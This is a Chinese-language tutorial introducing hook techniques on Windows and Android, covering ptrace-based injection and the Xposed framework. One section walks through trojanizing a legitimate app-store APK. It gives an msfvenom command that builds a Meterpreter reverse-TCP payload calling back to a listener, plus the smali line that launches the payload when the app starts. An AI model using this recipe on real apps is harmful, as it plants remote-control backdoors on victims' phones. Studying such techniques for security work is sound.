Hook技术初探


注:文中讲解的安卓Hook技术只有Java层级的Hook技术,并未涉及Native层级的Hook技术。

0x00 Hook是什么

Hook,英文解释是钩子或挂钩,在windows系统和安卓系统中都有自己的一套事件分发机制,应用程序,包括应用触发事件和后台逻辑处理也是根据事件流程一步一步往下执行,而我们所说的钩子就是在事件传送到终点前截获并监控事件的传输,像钩子一样钩上事件,并且去处理一些我们需要让它去处理的事情,也就是有时候会说的劫持,也可以称为动态注入。

0x01 Windows下的Hook技术

在Windows平台下Hook技术类似与中断机制,Hook机制允许应用程序拦截并处理Windows消息或者事件。Hook的适用范围也可分为线程钩子和系统钩子,其中系统钩子功能更加强大,能控制几乎所有Windows消息。Hook技术涉及到的两个重要的API是SetWindowsHookEx(安装钩子)和UnHookWindowsHookEx(卸载钩子)。

我们熟知的防火墙和防毒软件都运用到APIHook技术,

0x02 安卓Hook技术

安卓上的Hook技术又称为安卓APIHook技术,这个技术也由来已久,是一种在操作系统未能提供所需要功能能情况下的特殊手段。Android系统的开发有两种模式:Linux搭的Native模式和虚拟机上的Java模式,所以对应的Hook技术也就分为Java层级的Hook和Native层级的Hook。但是由于在Java中可以使用native关键字对C/C++代码进行调用,但是在C/C++中却很难调用Java中的代码,所以一般情况下能够在Java层级完成的不会在Native层级去完成。

Hook技术说白了就是劫持函数的调用,但是由于处于Linux用户态,每个进程都有自己独立的进程空间,那么就必须先注入到所要Hook的进程空间,修改其内存中的进程代码,替换其过程表的符号地址。相应的在Android系统中一般是通过ptrace函数来附加进程,再向远程进程注入so库,从而能够监控并对远程进程进行挂钩。

0x03 手动注入技术的实现

手动注入的实现还是很简单的,只是简单的将apk反编译后插入我们需要注入的代码即可,下面就拿上次在团队宣讲会上用到的一个简单的小例子,将一个从小米应用商店下载的apk利用msf生成的木马手动撸下来权限。

利用msf生成木马apk

使用下面的命令就能通过msf生成一个现成的木马apk:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169 LPORT=4444 R > pentestlab.apk

反编译木马apk和目标apk,并修改smali代码

使用命令行或者集成工具都可以,反编译找出目标apk的程序起始点。先将目标apk反编译,在mianactivity里面通过OnCreate函数占到程序开始运行时对应的代码,然后在这里添加进一段代码,使得程序在启动时先启动木马apk,这样就可以get到需要的shell,添加的代码如下:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

二次打包并签名

先将之前反编译出来的木马apk中的smali代码复制到目标程序的对应位置,再使用apktool进行二次打包并签名这样就完成一个手动注入恶意代码的过程。

由上面的图中可以看的更加清楚一些,在手动注入的操作中,或者说对于一些简单的安卓逆向,首先要将这个流程理清楚,才能再去了解一些细节性的东西。

0x04 安卓动态注入技术的原理

从上面也可以看出,smail代码的篡改需要先反编译apk在重新打包,重打包后还需要重新签名,而我们使用的Java层级的Hook技术则可以解决这个问题,因为利用Hook技术我们可以把自定义代码注入到应用的进程空间,达到不修改代码却能修改控制代码的执行。

动态注入我们所需要关注的几个主要的函数有ptract函数,dlopen函数,mmap函数。ptract函数是Android内核中的一个系统函数,它可以完成动态跟踪一个目标进程(attach)、结束跟踪一个目标进程(detach)、获取内存字节(peektext)、向内存写入地址(poketext)等操作。内核中的另一个系统函数dlopen可以已制定模式打开制定的动态链接库文件。还有个mmap函数可以分配一段临时的内存空间来存放要注入的代码。

XPosed框架的介绍及原理

Xposed是一个开源的框架,在GitHub上都是有源码的,它的功能是在开机的时候完成对所有的Hook Function的劫持,在原Function执行的前后加上自定义的一些代码,从而实现对该应用的定制,利用xposed框架也可以很容易获取应用中的信息,如加密私钥,salt值等,这样我们不需要再去反编译分析密钥转换算法,加密机制,直接hook加密函数获取输入输出即可。

在Android系统中,应用的进程都是由Zygote进程孵化而来,Zygote进程在启动时会创建一个Dalvik虚拟机实例,每当它fork一个新的应用程序进程时,都会将这个Dalvik虚拟机实例复制到新的应用程序进程中去,从而使得每一个应用都有一个独立的Dalvik虚拟机实例。Zygote进程在启动的过程中还会将Java运行库加载到进程中,并注册一些Android核心类的JNI方法到前面创建的DAlvik虚拟机实例中去。因此Xposed选择对Zygote进程进行Hook就能够实现对系统上所有的程序进程Hook,也就是全局Hook。